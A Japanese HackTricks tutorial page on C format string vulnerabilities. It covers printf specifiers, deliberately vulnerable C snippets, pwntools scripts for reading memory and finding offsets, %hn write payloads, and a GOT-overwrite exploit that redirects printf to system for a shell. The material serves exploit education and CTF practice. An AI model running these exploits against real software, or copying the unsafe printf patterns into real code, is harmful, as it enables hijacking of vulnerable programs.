フォーマット文字列

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Cの**printfは、いくつかの文字列を出力するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。続くパラメータは、生のテキストからフォーマッタを置き換えるためのです。

他の脆弱な関数には**sprintf()fprintf()**があります。

脆弱性は、攻撃者のテキストがこの関数の最初の引数として使用されるときに現れます。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きするための特別な入力を作成することができます。この方法で任意のコードを実行することが可能です。

フォーマッタ:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

例:

  • 脆弱な例:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 通常の使用:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 引数が不足している場合:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf 脆弱性:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

ポインタへのアクセス

フォーマット %<n>$x は、n が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます:

c
printf("%x %x %x %x")

最初のパラメータから4番目のパラメータまで読み取ります。

または、次のようにできます:

c
printf("%4$x")

そして4番目を直接読み取ります。

攻撃者がprintfパラメータを制御していることに注意してください。これは基本的にprintfが呼び出されるときに彼の入力がスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができるということです。

caution

この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printfがそれにアクセスできるようにします。次のセクションでは、この動作をどのように利用するかが説明されます。

任意の読み取り

フォーマッタ**%n$sを使用して、printfn位置にあるアドレスを取得し、それを文字列のように印刷することが可能です(0x00が見つかるまで印刷します)。したがって、バイナリのベースアドレスが0x8048000**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。

オフセットを見つける

入力のオフセットを見つけるために、4または8バイト(0x41414141)を送信し、その後に**%1$xを続けて、Aを取得するまで値を増加**させます。

ブルートフォースprintfオフセット
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

どれほど役立つか

任意の読み取りは以下に役立ちます:

  • メモリから バイナリダンプする
  • 機密情報が保存されているメモリの特定の部分にアクセスする(カナリア、暗号化キー、またはこのCTFチャレンジのようなカスタムパスワードなど)

任意の書き込み

フォーマッタ %<num>$n は、スタックの<num>パラメータにおいて指定されたアドレス書き込まれたバイト数書き込みます。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、%<num>$n を使って任意のアドレスに任意の数を書き込むことができるようになります。

幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ %.<num-write>%<num>$n を使用して、<num-write>という数をnum位置が指すアドレスに書き込むことが可能です。

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

ただし、通常、0x08049724のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**$hn$n**の代わりに使用されます。これにより、2バイトだけを書くことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。

したがって、この脆弱性は任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。

この例では、目標は後で呼び出される関数のアドレス上書きすることです。これは他の任意書き込みからexec技術を悪用する可能性があります:

Write What Where 2 Exec

私たちは、ユーザーから引数受け取る関数を上書きし、それを**system関数にポイントします。
前述のように、アドレスを書くには通常2ステップが必要です:最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために
$hn**が使用されます。

  • HOBはアドレスの上位2バイトに呼び出されます
  • LOBはアドレスの下位2バイトに呼び出されます

次に、フォーマット文字列の動作のために、最初に[HOB, LOB]の中で最小のものを書く必要があります、その後にもう一方を書きます。

HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools テンプレート

この種の脆弱性に対するエクスプロイトを準備するためのテンプレートは次の場所にあります:

Format Strings Template

または、こちらの基本的な例を参照してください:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

フォーマット文字列からBOFへ

フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込むことが可能であり、バッファオーバーフロータイプの脆弱性を悪用することができます。

その他の例と参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする